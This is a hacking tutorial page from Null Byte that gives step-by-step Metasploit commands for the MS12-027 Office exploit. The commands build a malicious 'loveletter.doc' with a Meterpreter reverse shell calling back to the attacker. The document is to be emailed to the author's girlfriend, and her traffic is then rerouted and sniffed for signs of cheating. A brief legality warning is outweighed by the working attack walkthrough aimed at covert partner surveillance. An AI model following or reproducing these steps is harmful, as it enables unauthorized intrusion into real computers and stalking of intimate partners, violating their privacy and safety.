Hack Like a Pro: How to Hack Windows 7 to See Whether Your Girlfriend Is Cheating or Not « Null Byte :: WonderHowTo

Welcome back, my hacker apprentices!Several of you have written asking me how you can check on whether your boyfriend, girlfriend, or spouse is cheating on you, so I dedicate this tutorial to all of you with doubts about the fidelity of your spouse, girlfriend, or boyfriend.A Fair WarningBefore I start, I want to point out that hacking into somebody's computer is illegal in most countries. What might be the consequences for hacking into a friend's or spouse's computer?Kelly Terry, one of our Null Byte community members, has firsthand experience with her husband, who's now paying a heavy price. She recounts her experienceon her blog.I'm not a relationship counselor or anything of that sort, but if you're worried that your partner is cheating on you, there are only two possibilities. First, they are NOT cheating on you and your paranoia is destructive to the relationship. Second, they ARE cheating on you and you should get out of the relationship.My point here is that if you're obsessed with jealousy in your relationship, you should either remove that feeling or leave the relationship. Hacking their machine to find evidence is only likely to make the situation worse because you could...End up in prison like Kelly Terry's husband,Find nothing, but that won't relieve the anxiety and jealousy, orFind something, and you knew all along that the relationship was bad for you.None of these outcomes are good!Just a warning.The instructions below are merely for learning purposes.Step 1: Compromise Her SystemLet's fire upBackTrackandMetsploitand figure out a way to compromise her system.A couple of years back (April 2012), an exploit was found in the wild that you could create a buffer overflow (I'll be doing a tutorial to explain buffer overflows soon) in Windows 7 systems with Office 2007 or Office 2010. Since I know my girlfriend has Windows 7 and Office 2007 on her computer, this just might be the perfect exploit to use on her.In addition, I often send her little love letters as attachments, so she will not suspect anything if I send another. This time, though, I will embed theMeterpreterso that I can "own" her system and check up on her.Of course, I think it goes without saying (maybe not?) that this exploit will work with anyone that trusts you enough to openyour Word document. Similar tactics are used by spammers and scammers all the time.When this vulnerability was found in the wild,Microsoftdesignated itMS12-027. Metasploit developers then wrote an exploit for Metasploit that does exactly the same thing and named itms12_027_mscomctl_bof. If we want to use it to exploit our girlfriend's computer, we can find it by typing at the msfconsole:msf > search ms12_027This should retrieve just one exploit as above. To avoid typographical errors, simply copy and paste it into the next line like I have done above.Step 2: Let's Get Some Background InfoIf I'm new to an exploit, I like to learn a little about what it does before I start. Let's type:msf > infoNotice that this exploit has two potential targets, Microsoft Office 2007 (target 0) and Microsoft Office 2010 (target 1). In addition, in the description it states:"This module exploits a stack buffer overflow in MSCOMCTL.OCX. It uses a malicious RTF to embed a specially crafted..."Notice that it also states"The DEP/ASLR bypass on Office 2010...". For those of you are unfamiliar,DEPisDataExecutionPrevention andASLRisAddressSpaceLayoutRandomization. Both are implemented on most operating systems to prevent exactly what we are doing here.Step 3: Show Targets & Create DocSince we're pretty certain she uses Office 2007 and not Office 2010, let's set our target for 2007.set target 0Now, rather than use the generic msf.doc that comes with this exploit, let's give it a name that will entice her to open it. Let's call it loveletter.doc.set FILENAME loveletter.docWe next have to give it a payload and tell it what system it needs to connect back to (LHOST) when she opens it.set PAYLOAD windows/meterpreter/reverse_tcpset LHOST 192.168.1.111With all the options set, we typeexploitand Metasploit creates our malicious document and places it in the/root/.msf/localdirectory with a name we gave it, loveletter.doc.Step 4: Multi HandlerNow that we have the malicious Word file created called loveletter.doc, we next need to open a multi-handler on our Metasploit system to receive the connection when she opens the file.use exploit/multi/handlerset PAYLOAD windows/meterpreter/reverse_tcpset LHOST 192.168.1.111exploitNow, as you can see, Metasploit has a listener waiting for a connection from the girlfriend's computer. Let's email her that loveletter.doc and when she opens that file, it will create a Meterpreter session on our computer and we will own her system!As you can see, she opened the file and a Meterpreter session opened on our computer. We own her system!Step 5: Verify It's the Right ComputerJust to make certain we're on the right computer, let's get the sysinfo:meterpreter > sysinfoAs you can see, it tells us that the system we have compromised is a Windows 7 64-bit computer. That's her machine!Step 6: Forward Her Internet Traffic Back Through UsNow that we have control of her system, you can forward all her Internet traffic through your computer. In this way, you can sniff her traffic and search for telltale signs of cheating, such as keywords. You might even setup an intrusion detection system on her traffic looking for keywords that will alert you.First, forward her traffic to you by typing at the Meterpreter prompt:meterpreter> portfwd add -L 192.168.1.100 -l 80 -r 192.168.1.111 -p 80Next, we need to forward all traffic from her through our computer out to the Internet. We can do that by turning on ipforwarding on on our system. We do that by typing:bt > echo 1 /proc/sys/net/ipv4/ipforwardStep 7: Search for KeywordsNow that all her traffic is going through your system, you can view her traffic throughWiresharkto see what sites she is visiting and even better, set upSnortto look for keywords in her TCP stream going through our computer.So now, my hacker apprentices, we have several different ways to hack Windows 7 systems, but we still have more, so keep coming back.Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseComputer girlimage via ShutterstockRelatedHack Like a Pro:How to Remotely Install a Keylogger onto Your Girlfriend's ComputerHow To:Trivia Crack Cheats Your Friends Are Probably Using Against YouHack Like a Pro:The Ultimate Command Cheat Sheet for Metasploit's MeterpreterHow To:How Anyone (Even Pirates) Can Get Windows 10 for Free—LegallyHow To:Capture Unauthorized Users Trying to Bypass Your Windows 8 Lock ScreenThe Clone Wars:The Russians Flirt with Instagram & Fake Follower Vending MachinesHow To:This Quick & Easy Shortcut Minces Garlic in SecondsHack Like a Pro:How Windows Can Be a Hacking Platform, Pt. 1 (Exploit Pack)How To:Run an VNC Server on Win7Hack Like a Pro:How to Use Hacking Team's Adobe Flash ExploitHow To:Set Up Two Different Facebook Accounts on One Android DeviceHow To:Hack mini Tower Defense with Cheat Engine (02/14/10)How To:Hack Roller Coaster Kingdom coins & levels (10/22/09)How To:What to Do if You Accidentally Liked a Photo on InstagramHack Video Games, Part 1:IntroductionHow To:Hack Lets You Fully Activate a Bootleg Copy of Windows 8 Pro for FreeHow To:Hack Club Penguin for loads of money (03/22/09)Hack Like a Pro:Remotely Add a New User Account to a Windows Server 2003 BoxHow To:Easily increase your money in Farmville without cheatingHow To:Hack MineCraft to edit your inventory with cheat programsHow To:Choose Which Microphone Your Phone Uses When Recording Video in Fimic Pro (To Capture Clearer Audio)Hack Like a Pro:How to Crash Your Roommate's Windows 7 PC with a LinkHack Like a Pro:Metasploit for the Aspiring Hacker, Part 2 (Keywords)Hack Like a Pro:How to Remotely Grab Encrypted Passwords from a Compromised ComputerHow To:Hack poo and coins on Pet Society (09/10/09)How To:Tell if your girlfriend is cheatingHack Like a Pro:How to Exploit IE8 to Get Root Access When People Visit Your WebsiteHow to Hack Pet Society:funky game cheat (09/27/09)How To:Cheat Engine for FarmVille - The Definitive GuideHow To:Remove Gamers Unite from your Facebook AccountHow to Hack Your Game Saves:A Basic Guide to Hex EditingHow To:Hack FarmVille with Cheat Engine